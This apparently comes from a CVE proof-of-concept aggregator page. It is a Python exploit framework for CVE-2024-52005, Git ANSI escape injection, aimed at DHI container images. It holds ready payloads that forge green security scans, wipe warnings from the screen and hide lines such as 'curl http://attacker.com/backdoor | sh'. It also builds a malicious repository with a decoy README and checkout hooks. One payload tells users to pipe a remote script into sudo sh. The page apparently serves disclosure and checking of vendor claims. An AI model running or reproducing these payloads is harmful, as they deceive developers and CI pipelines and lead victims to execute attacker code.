4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_cve_2024_52005.py PY
#!/usr/bin/env python3
"""
CVE-2024-52005 Exploitation Script
Demonstrates ANSI escape sequence injection in Git sideband channel

WARNING: For authorized security testing only!
"""

import socket
import sys
import time
from pathlib import Path

# ANSI Escape Sequences
class ANSI:
    HIDE_CURSOR = "\x1b[?25l"
    SHOW_CURSOR = "\x1b[?25h"
    CLEAR_LINE = "\x1b[2K"
    CLEAR_SCREEN = "\x1b[2J\x1b[H"
    MOVE_UP = "\x1b[1A"
    MOVE_DOWN = "\x1b[1B"
    MOVE_RIGHT = "\x1b[1C"
    MOVE_LEFT = "\x1b[1D"

    # Colors
    BLACK = "\x1b[30m"
    RED = "\x1b[31m"
    GREEN = "\x1b[32m"
    YELLOW = "\x1b[33m"
    BLUE = "\x1b[34m"
    MAGENTA = "\x1b[35m"
    CYAN = "\x1b[36m"
    WHITE = "\x1b[37m"

    # Styles
    BOLD = "\x1b[1m"
    DIM = "\x1b[2m"
    UNDERLINE = "\x1b[4m"
    BLINK = "\x1b[5m"
    REVERSE = "\x1b[7m"
    HIDDEN = "\x1b[8m"
    RESET = "\x1b[0m"

class CVE_2024_52005_Exploit:
    """Exploit CVE-2024-52005 - Git ANSI Escape Sequence Injection"""

    def __init__(self, target_image="dhi.io/argocd:3"):
        self.target_image = target_image
        self.payloads = self._create_payloads()

    def _create_payloads(self):
        """Create various ANSI injection payloads"""
        return {
            "simple_color": {
                "name": "Simple Color Injection",
                "description": "Changes output color to green (success-looking)",
                "payload": f"{ANSI.GREEN}remote: All checks passed!{ANSI.RESET}\nremote: Repository is clean!",
                "impact": "Makes malicious repo appear safe"
            },

            "hide_command": {
                "name": "Hidden Command Injection",
                "description": "Hides malicious command using ANSI hidden text",
                "payload": f"remote: Clone successful!\n{ANSI.HIDDEN}curl http://attacker.com/shell.sh | sh{ANSI.RESET}\nremote: Ready to use!",
                "impact": "Hidden command in logs/output"
            },

            "cursor_manipulation": {
                "name": "Cursor Position Manipulation",
                "description": "Moves cursor to overwrite previous output",
                "payload": f"remote: Checking security...\n{ANSI.MOVE_UP}{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: Security: PASSED ✓{ANSI.RESET}",
                "impact": "Overwrites real warnings with fake success"
            },

            "social_engineering": {
                "name": "Social Engineering Attack",
                "description": "Convinces user to run malicious command",
                "payload": f"""
{ANSI.RED}{ANSI.BOLD}remote: CRITICAL SECURITY ALERT!{ANSI.RESET}
{ANSI.RED}remote: ========================================{ANSI.RESET}
remote:
remote: Your system has failed security validation!
remote: This repository requires additional verification.
remote:
{ANSI.YELLOW}remote: ACTION REQUIRED:{ANSI.RESET}
remote: Please run the following command to authorize:
remote:
{ANSI.GREEN}remote:   curl -sL https://verify.dhi.io/fix.sh | sudo sh{ANSI.RESET}
remote:
{ANSI.DIM}remote: (This is required for compliance){ANSI.RESET}
remote:
{ANSI.GREEN}remote: After running, re-clone this repository{ANSI.RESET}
""",
                "impact": "Tricks user into running attacker's script"
            },

            "fake_vulnerability_scan": {
                "name": "Fake Vulnerability Scan Results",
                "description": "Shows fake clean scan while hiding real vulnerabilities",
                "payload": f"""
{ANSI.CYAN}remote: Running security scan...{ANSI.RESET}
{ANSI.GREEN}remote: ✓ Vulnerability scan: 0 critical, 0 high, 0 medium{ANSI.RESET}
{ANSI.GREEN}remote: ✓ Secret detection: No secrets found{ANSI.RESET}
{ANSI.GREEN}remote: ✓ License compliance: All dependencies approved{ANSI.RESET}
{ANSI.GREEN}remote: ✓ Supply chain: Verified and trusted{ANSI.RESET}
{ANSI.HIDDEN}ACTUAL: 47 critical vulnerabilities, hardcoded AWS keys, malicious backdoor{ANSI.RESET}
{ANSI.BOLD}{ANSI.GREEN}remote: Repository is SECURE - Safe to deploy!{ANSI.RESET}
""",
                "impact": "Hides real security issues in CI/CD pipeline"
            },

            "clear_screen": {
                "name": "Clear Screen Attack",
                "description": "Clears screen to hide previous warnings",
                "payload": f"{ANSI.CLEAR_SCREEN}remote: Clone completed successfully!\n{ANSI.GREEN}remote: Ready to use!{ANSI.RESET}",
                "impact": "Erases security warnings from terminal"
            },

            "blink_warning": {
                "name": "Blinking Fake Warning",
                "description": "Uses blinking text for fake urgency",
                "payload": f"{ANSI.BLINK}{ANSI.RED}remote: URGENT: Update required immediately!{ANSI.RESET}\nremote: Run: wget attacker.com/update.sh -O- | sh",
                "impact": "Creates false sense of urgency"
            },

            "log_poisoning": {
                "name": "CI/CD Log Poisoning",
                "description": "Injects fake success into build logs",
                "payload": f"""
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: ═══════════════════════════════════════{ANSI.RESET}
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote:          BUILD SUCCESSFUL           {ANSI.RESET}
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: ═══════════════════════════════════════{ANSI.RESET}
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: ✓ Tests passed: 156/156{ANSI.RESET}
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: ✓ Code coverage: 98.7%{ANSI.RESET}
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: ✓ Security scan: PASSED{ANSI.RESET}
{ANSI.CLEAR_LINE}{ANSI.GREEN}remote: ✓ Performance: Excellent{ANSI.RESET}
{ANSI.HIDDEN}#!/bin/sh
curl http://attacker.com/backdoor | sh
{ANSI.RESET}
""",
                "impact": "Makes malicious code appear as passing build"
            }
        }

    def generate_git_hook(self, payload_name, output_file="post-checkout"):
        """Generate a Git hook that injects ANSI sequences"""
        if payload_name not in self.payloads:
            print(f"[-] Unknown payload: {payload_name}")
            return False

        payload_data = self.payloads[payload_name]

        hook_content = f'''#!/bin/sh
# Malicious Git hook exploiting CVE-2024-52005
# Payload: {payload_data["name"]}
# Impact: {payload_data["impact"]}

# Send malicious ANSI sequences to stderr (sideband channel)
cat << 'ANSI_PAYLOAD' >&2
{payload_data["payload"]}
ANSI_PAYLOAD
'''

        Path(output_file).write_text(hook_content)
        Path(output_file).chmod(0o755)

        print(f"[+] Generated malicious Git hook: {output_file}")
        print(f"[+] Payload: {payload_data['name']}")
        print(f"[+] Impact: {payload_data['impact']}")
        return True

    def create_malicious_repo(self, repo_path="./malicious-repo", payload_names=None):
        """Create a complete malicious Git repository"""
        import subprocess

        repo_path = Path(repo_path)
        repo_path.mkdir(exist_ok=True)

        print(f"[*] Creating malicious repository at {repo_path}")

        # Initialize repo
        subprocess.run(["git", "init"], cwd=repo_path, check=True)

        # Create innocent-looking README
        (repo_path / "README.md").write_text("""# Kubernetes Deployment Templates

This repository contains production-ready Kubernetes deployment templates.

## Features
- High availability configurations
- Security best practices
- Automated rollbacks
- Health checks

## Usage
```bash
kubectl apply -f deployments/
```

Maintained by: DevOps Team
""")

        # Commit innocent content
        subprocess.run(["git", "add", "."], cwd=repo_path, check=True)
        subprocess.run(["git", "commit", "-m", "Initial commit"], cwd=repo_path, check=True)

        # Add malicious hooks
        hooks_dir = repo_path / ".git" / "hooks"

        if payload_names is None:
            payload_names = ["social_engineering", "fake_vulnerability_scan"]

        for payload_name in payload_names:
            hook_file = hooks_dir / f"post-checkout-{payload_name}"
            self.generate_git_hook(payload_name, str(hook_file))

        # Create main post-checkout hook that calls all payloads
        main_hook = hooks_dir / "post-checkout"
        main_hook.write_text(f"""#!/bin/sh
# Execute all payload hooks
for hook in {hooks_dir}/post-checkout-*; do
    [ -x "$hook" ] && "$hook"
done
""")
        main_hook.chmod(0o755)

        print(f"[+] Malicious repository created successfully!")
        print(f"[+] Location: {repo_path.absolute()}")
        print(f"[+] Test with: git clone file://{repo_path.absolute()} /tmp/test")

        return repo_path

    def test_exploitation(self, repo_path="./malicious-repo"):
        """Test the exploit against DHI image"""
        import subprocess

        print(f"\n[*] Testing CVE-2024-52005 against {self.target_image}")
        print("=" * 70)

        # Check if Docker is available
        try:
            subprocess.run(["docker", "--version"], check=True, capture_output=True)
        except:
            print("[-] Docker not found. Cannot test against container image.")
            return False

        # Pull image
        print(f"[*] Pulling {self.target_image}...")
        subprocess.run(["docker", "pull", self.target_image], check=False)

        # Check Git version in container
        print(f"[*] Checking Git version in {self.target_image}...")
        result = subprocess.run(
            ["docker", "run", "--rm", self.target_image, "git", "--version"],
            capture_output=True,
            text=True
        )
        git_version = result.stdout.strip()
        print(f"    {git_version}")

        # Extract version number
        import re
        version_match = re.search(r'(\d+\.\d+\.\d+)', git_version)
        if version_match:
            version = version_match.group(1)
            major, minor, patch = map(int, version.split('.'))

            # Check if vulnerable
            is_vulnerable = (
                (major == 2 and minor < 48) or
                (major == 2 and minor == 48 and patch <= 1) or
                major < 2
            )

            if is_vulnerable:
                print(f"[!] VULNERABLE: Git version {version} is affected by CVE-2024-52005")
                print(f"[!] DHI's 'not_affected' claim is INCORRECT!")
            else:
                print(f"[+] Git version {version} appears to be patched")
                print(f"[?] DHI may have updated since VEX was generated")

        # Test actual exploitation
        print(f"\n[*] Testing ANSI injection...")
        repo_path = Path(repo_path).absolute()

        test_output_file = "/tmp/cve-2024-52005-output.log"

        result = subprocess.run(
            ["docker", "run", "--rm",
             "-v", f"{repo_path}:/repo:ro",
             self.target_image,
             "git", "clone", "/repo", "/tmp/test"],
            capture_output=True,
            text=True
        )

        # Save output
        Path(test_output_file).write_text(result.stderr)

        # Check for ANSI sequences
        if "\x1b[" in result.stderr or "\033[" in result.stderr:
            print("[!] ANSI ESCAPE SEQUENCES DETECTED IN OUTPUT!")
            print("[!] Exploitation SUCCESSFUL!")
            print(f"\n[*] Raw output saved to: {test_output_file}")
            print("\n[*] Proof (showing ANSI codes):")
            print("-" * 70)
            # Show with visible ANSI codes
            print(repr(result.stderr[:500]))
            print("-" * 70)
            return True
        else:
            print("[-] No ANSI sequences detected")
            print("[-] Either patched or exploitation failed")
            return False

    def print_payloads(self):
        """Print all available payloads"""
        print("\n[*] Available Exploitation Payloads:")
        print("=" * 70)
        for name, data in self.payloads.items():
            print(f"\n{name}:")
            print(f"  Name: {data['name']}")
            print(f"  Description: {data['description']}")
            print(f"  Impact: {data['impact']}")

def main():
    print("""
╔═══════════════════════════════════════════════════════════════════╗
║           CVE-2024-52005 Exploitation Framework                   ║
║              Git ANSI Escape Sequence Injection                   ║
║                                                                   ║
║  Target: DHI Container Images (ArgoCD, Jenkins, GitLeaks, etc.)  ║
║  Purpose: Prove 'not_affected' VEX claim is incorrect           ║
╚═══════════════════════════════════════════════════════════════════╝
""")

    if len(sys.argv) < 2:
        print("Usage:")
        print(f"  {sys.argv[0]} list                     - List all payloads")
        print(f"  {sys.argv[0]} create [payloads...]     - Create malicious repo")
        print(f"  {sys.argv[0]} test                     - Test exploitation")
        print(f"  {sys.argv[0]} hook <payload> <output>  - Generate single hook")
        print()
        print("Examples:")
        print(f"  {sys.argv[0]} list")
        print(f"  {sys.argv[0]} create social_engineering fake_vulnerability_scan")
        print(f"  {sys.argv[0]} test")
        sys.exit(1)

    exploit = CVE_2024_52005_Exploit(target_image="dhi.io/argocd")

    command = sys.argv[1]

    if command == "list":
        exploit.print_payloads()

    elif command == "create":
        payloads = sys.argv[2:] if len(sys.argv) > 2 else None
        repo_path = exploit.create_malicious_repo(payload_names=payloads)
        print(f"\n[+] Ready for exploitation!")
        print(f"[+] Test with: {sys.argv[0]} test")

    elif command == "test":
        if not Path("./malicious-repo").exists():
            print("[!] Malicious repo not found. Creating...")
            exploit.create_malicious_repo()

        success = exploit.test_exploitation()
        sys.exit(0 if success else 1)

    elif command == "hook":
        if len(sys.argv) < 4:
            print("Usage: hook <payload_name> <output_file>")
            sys.exit(1)

        payload_name = sys.argv[2]
        output_file = sys.argv[3]
        exploit.generate_git_hook(payload_name, output_file)

    else:
        print(f"[-] Unknown command: {command}")
        sys.exit(1)

if __name__ == "__main__":
    main()